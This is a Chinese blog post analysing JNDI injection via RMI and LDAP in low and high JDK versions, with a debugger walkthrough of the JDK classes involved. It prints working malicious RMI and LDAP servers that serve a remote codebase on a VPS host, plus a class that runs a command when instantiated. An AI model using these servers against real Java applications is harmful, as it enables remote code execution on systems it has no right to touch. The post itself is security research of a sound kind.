高低JDK版本中JNDI注入(上)

news2024/12/28 3:12:33

目录

前言:

(一)RMI

0x01 低版本

1.1 服务端

1.2 客户端

1.3 ExportObject.java

0x02 高版本

(二)LDAP

0x01低版本

1.1 服务端

1.2 客户端

1.3 ExportObject.java


前言:

        这篇文章主要是分析在高低版本JDK中JNDI注入RMI和LDAP两个攻击向量的调用过程以及异同点,并且尝试调试高版本JDK的绕过方法,这一篇是基础,先熟悉之前RMI和LDAP是如何注入的。

(一)RMI


0x01 低版本

这里用 RMI+Reference 做演示,JDK版本为8u65:

1.1 服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;
 
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
public class Aserver {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("ExportObject", "ExportObject", "http://VPS:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("[*]Binding 'exp' to 'rmi://127.0.0.1:1099/exp'");
        registry.bind("exp", refObjWrapper);
    }
}

1.2 客户端

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Properties;
 
public class AClient {
    public static void main(String[] args) throws Exception {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        String uri = "rmi://127.0.0.1:1099/exp";
        ctx.lookup(uri);
    }
}

1.3 ExportObject.java

public class ExportObject {
 
    public ExportObject() throws Exception {
        String cmd="calc";
        Runtime.getRuntime().exec(cmd);
    }
}

直接在 com.sun.jndi.rmi.registry.RegistryContext 类的 lookup()函数下打上断点,如图1-1:

图 1-1 RegistryContext中的lookup()

 

其中从RMI注册表中lookup查询到服务端中目标类的Reference返回ReferenceWrapper_Stub类实例,该类实例就是客户端的存根、用于实现和服务端进行交互,最后调decodeObject()函数来解析。跟进decodeObject()函数中,如图 1-2:

图 1-2 decodeObject()对Reference的处理

 

先判断入参 ReferenceWrapper_Stub类实例是否是RemoteReference接口实现类实例,而ReferenceWrapper_Stub类正是实现RemoteReference接口类的,因此通过判断调用getReference()来获取到ReferenceWrapper_Stub类实例中的Reference即我们在恶意RMI注册中绑定的恶意Reference;再往下调用 NamingManager.getObjectInstance()来获取远程服务端上的类实例。跟进,如图 1-3:

图 1-3 getObjectInstance()获取远程服务器上的实例

 调用到getObjectFactoryFromReference()函数,尝试从 Reference中获取ObjectFactory,跟进:

图 1-4 getObjectFactoryFromReference()加载loadClass()

 

通过codebase和factoryName来调用 loadClass()函数来远程加载恶意类EvilClassFactory,最后直接通过newInstance()实例化该远程恶意类并返回。这里执行的newInstance()方法就是我们恶意类里面的构造方法,所以就触发了任意代码执行:

这里返回新建的远程类实例之前会先对实例转换为ObjectFactory类,因此,如果远程类不实现ObjectFactory接口类的话就会在此处报错,之前一些demo的恶意类没实现ObjectFactory类所出现的报错正出于此,如图 1-5:

图 1-5 传入到ObjectFactory实现注入

 

接着如果没有产生报错的话,会将类实例化得到的对象返回NamingManager.getObjectInstance()方法中:

图 1-6 实例化得到Reference的实体类

 

再往下就是判断新建的远程类实例是否为null,不为null则调用该远程类的getObjectInstance()函数并返回,否则直接返回Reference实例。从这里知道,其实恶意类的恶意代码除了能写在无参构造函数外,也可以写在重写的getObjectInstance()函数中来触发

0x02 高版本

在JDK 6u141、7u131、8u121之后,增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。这里更换8u202版本的JDK来继续调试,如图 12-1 :

直接运行会报错:

图 12-1 高版本禁止Objectfactory的调用

 

报错说该ObjectFactory是不可信的,除非设置com.sun.jndi.rmi.object.trustURLCodebase项的值为true:

进行调试看看,前面的流程都一样,直接走到 com.sun.jndi.rmi.registry.RegistryContext 类的decodeObject(),如图 12-2

如图 12-2 decodeObject中的trustURLCodebase方法

 

在调用NamingManager.getObjectInstance()函数获取Reference指定的远程类之前先进行com.sun.jndi.rmi.object.trustURLCodebase值的判断,该值默认为false因此直接抛出错误。

(二)LDAP


0x01低版本

这里使用LDAP+Referernce做演示,JDK版本为8u65:

1.1 服务端

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
 
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
 
public class LdapServer {
 
    private static final String LDAP_BASE = "dc=example,dc=com";
 
 
    public static void main (String[] args) {
 
        String url = "http://vps:8000/#ExportObject";
        int port = 1234;
 
 
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
 
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
 
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
 
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
 
        private URL codebase;
 
 
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
 
 
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
 
        }
 
 
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
 
    }
}

1.2 客户端

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
 
public class LdapClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("ldap://localhost:1234/ExportObject");
            String data = "This is LDAP Client.";
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

1.3 ExportObject.java

public class ExportObject {
 
    public ExportObject() throws Exception {
        String cmd="calc";
        Runtime.getRuntime().exec(cmd);
    }
}

  • 先看下,我们在恶意 LDAP服务端sendResult()函数中设置了如下属性项:
e.addAttribute("javaClassName", "Exploit");
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());

  • 直接在com.sun.jndi.ldap.LdapCtx类的 c_lookup()函数上打上断点,此时函数调用栈如图,看到就是不同几个类的lookup()函数在逐次调用,如图 2-1:

图 2-1 lookup的函数调用栈

  • 往下走,图中断点这里,如图 2-2 :
图 2-2 传入的Attributes的参数调用链

 

  • 其中这里的 JAVA_ATTRIBUTES 是类定义好的静态变量,如图 2-3:

图 2-3 JAVA_ATTRIBUTES的静态变量

 

  • var4变量是BasicAttributes类实例、其值是我们在恶意LDAP服务端设置的属性值,因为设置了javaClassName属性值为”Exploit”,因此调用了decodeObject()函数来对var4进行对象解码操作,跟进,如图 2-4:
图 2-4 decodeObject()方法解码

 

跟进decodeObject()函数中,先调用getCodebases()函数获取到javaCodeBase项设置的URL地址http://vps:8000/,接着两个判断是否存在 javaSerializedData javaRemoteLocation这两项的值,这里由于没设置就直接进入最后的else语句逻辑,最后由于var1不为null且var1值为前面设置的objectClass内容因此直接调用到 decodeReference()函数来进一步解码Reference的值,如图 2-5:

图 2-5 decodeReference()对传来数据解码

 

decodeReference()函数中,根据设置的javaFactory、javaClassName、javaCodeBase等项来通过执行 Reference("ExportObject", "ExportObject", "http://vps:8000/")来新建一个Reference类实例,最后直接返回该Reference类实例。

  • 返回的Reference类实例回到com.sun.jndi.ldap.LdapCtx类的c_lookup()函数中往下执行,如图 2-6:
图 2-6 c_lookup()获取实例

  • 看到最后是调用到了DirectoryManager.getObjectInstance()函数,跟进去 getObjectInstance()函数的调用,如图 2-7 :

 

图 2-7 从Factory中找到Reference对象

 

其中调用了 getObjectFactoryFromReference()函数来从Reference中获取ObjectFactory后再调用 getObjectInstance()函数来获取实际的对象实例。跟RMI+Reference是类似的,继续跟进getObjectFactoryFromReference(),如图 2-8

图 2-8 loadClass进行远程加载类

 

和RMI一样,通过factoryName和codebase来调用loadClass()函数从http://vps:8000/中远程加载类(在loadClass()函数中实际是通过 FactoryURLClassLoader加载器来加载远程Factory URL类),然后将获取回来的类进行newInstance()实例化,从而触发任意代码执行,如图 2-9:

图 2-9 触发恶意类

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/63827.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

痞子衡嵌入式:浅析IAR下调试信息输出机制之硬件UART外设

大家好,我是痞子衡,是正经搞技术的痞子。今天痞子衡给大家分享的是IAR下调试信息输出机制之硬件UART外设。 在嵌入式世界里,输出打印信息是一种非常常用的辅助调试手段,借助打印信息,我们可以比较容易地定位和分析程序…

泰迪·滇西科技师范学院智能工作室分享:第一章NumPy库——先基础区别数组和列表

前言 来看NumPy库的应该都是接触到庞大数据处理的朋友吧。NumPy是一个简洁好用的数据库,尤其是在科学计算上,专为进行严格数字处理而产生的。其中的ndarray可以说是NumPy库的心脏,它提供了一个强大的N维数组对象,这一章我们先来简…

2 寄存器

寄存器 CPU是由运算器、控制器、寄存器等器件构成,他们依靠内部总线连接。 运算器进行信息处理:寄存器进行信息存储;控制器控制各种器件进行工作;内部总线连接各种器件,在它们之间进行数据的传送。 寄存器是程序员可…

[附源码]Python计算机毕业设计Django社区住户信息管理系统

项目运行 环境配置: Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术: django python Vue 等等组成,B/S模式 pychram管理等等。 环境需要 1.运行环境:最好是python3.7.7,…

AI 绘画整体认知

体验 ChatGPT 之后,深刻感觉到 “了解 AI 绘画” 这件事必须得安排上了。 于是用了两三个日夜,了解如下: (文末附完整脑图链接) 一、发展时间线 二、使用已有的AI绘画云平台(目前国内外有很多&#xff09…

华为与思科路由器静态路由配置

一、华为路由器配置静态路由 1、静态路由基础 拓扑如下: 配置静态路由,使得PC1可以ping通PC3。 R1: interface Ethernet0/0/0ip address 124.16.8.1 255.255.255.0 # interface Ethernet0/0/1ip address 110.69.70.1 255.255.255.0 # # ip route-static 172.16.3.0 255.25…

Java_笔记_继承_虚方法表_成员变量方法构造_thisSuper

一、继承的概念以及优势: 1.概念: 1)继承是面向对象三大特征(封装,继承,多态)之一,可让类与类之间产生子父的关系。 2)封装:对象代表什么,就封装…

VCS Design Compiler(1)

|||||||||||| ========= =============================== VCS & Design Compiler 联合应用 =================================

[附源码]JAVA毕业设计流行病调查平台(系统+LW)

[附源码]JAVA毕业设计流行病调查平台(系统LW) 环境项配置: Jdk1.8 Tomcat8.5 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术&#xff1…

PTA 7-251 汉诺塔问题

PTA 7-251 汉诺塔问题 分数 100 作者 于延 单位 哈尔滨师范大学 任务描述 在印度,有这么一个古老的传说:在世界中心贝拿勒斯(在印度北部)的圣庙里,一块黄铜板上插着三根宝石针。印度教的主神梵天在创造世界的时候&am…

DBCO 点击化学试剂:DBCO-PEG24-O-NH2,DBCO-PEG24-O-amine

DBCO-PEG24-O-amine中叠氮化物和DBCO基团,DBCO 点击化学可以在水性缓冲液中运行,也可以在有机溶剂取决于底物分子的性质。带有 PEG 臂的试剂会增加化合物的亲水性。DBCO 试剂已广泛应用于生物偶联、标记和化学生物学。 西安凯新生物科技有限公司​DBCO系…

探花交友_第5章_圈子功能实现(新版)

探花交友_第5章_圈子功能实现(新版) 文章目录探花交友_第5章_圈子功能实现(新版)课程说明1、首页推荐1.1、接口分析1.2、功能实现1.2.1 controller1.2.2 service1.2.3 API接口1.2.4 请求dto对象2、圈子功能2.1、功能说明1.2、实现方案分析1.3、技术方案(重点)1.4、表结构设计3、…

js input 正则保留2位小数中文拼音输入问题 + 限制输入整数的方案

js input 正则保留2位小数中文拼音输入问题 限制输入整数的方案 problem 背景 element ui el-input组件原生input事件 需求 限制输入框的输入只允许输入数字和小数点保留2位小数,不允许输入第3位小数 实现 使用 input 原生 oninput 事件使用 js 正则匹配 /…

二分图(Bipartite Graph)

预计阅读时间:10分钟 一、简介 二分图の定义 二分图又叫二部图,是图论中的一种特殊模型。 假设S(V,E)是一个无向图。如果顶点V可分割为两个互不相交的子集(A,B),并且图中的每条边(i,j)所关联的两个顶点i和j分别属于这两个不同的顶点集(i in…

常见的限流算法分析以及手写实现(计数器、漏斗、令牌桶)

常见的限流算法分析 限流在我们日常生活中经常见到,如火车站门口的栏杆、一些景点的门票只出售一定的数量 等等。在我们的开发中也用到了这种思想。 为什么要限流 🏫在保证可用的情况下尽可能多增加进入的人数,其余的人在排队等待,或者返回友好提示,保…

[附源码]JAVA毕业设计楼宇管理系统(系统+LW)

[附源码]JAVA毕业设计楼宇管理系统(系统LW) 环境项配置: Jdk1.8 Tomcat8.5 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术:…

Python笔记 · 魔法函数 / Magic Methods / Dunder Methods

在上篇文章《Python笔记 私有方法、私有属性 & 单下划线、双下划线》我们介绍过以前置双下划线开始,后置双下划线结束的方法名:__*__,这是系统定义的一批特殊函数,通常被称之为:魔法函数(Magic Method…

5-2:Kafka入门

Kafka简介 原本的kafka只是一个处理消息队列的技术,但随着功能不断增加,不断综合,成为了一个分布式的流媒体平台 Kafka是一个分布式的流媒体平台。 应用:消息系统、日志收集、用户行为追踪、流式处理。 Kafka特点 高吞吐量、消息…

电源模块测试解决方案-电源测试系统方案-电源模块测试报告NSAT-8000

*测试仪器:可编程直流电源、可编程直流电子负载、数字示波器、功率计 *测试产品:电源模块。纳米软件电源ATE自动测试系统适用于大功率工业电源、AC/DC类DC电源供应器、适配器、充电器、LED电源等开关电源之综合性能测试。 *被测项目:有效值电…

目标检测之多尺度融合

多尺度 卷积神经网络通过逐层抽象的方式来提取目标的特征,其中一个重要的概念就是感受野。 高层网络的感受野比较大,语义信息表征能力强,但是特征图的分辨率低,几何信息的表征能力弱(空间几何特征细节缺乏&#xff09…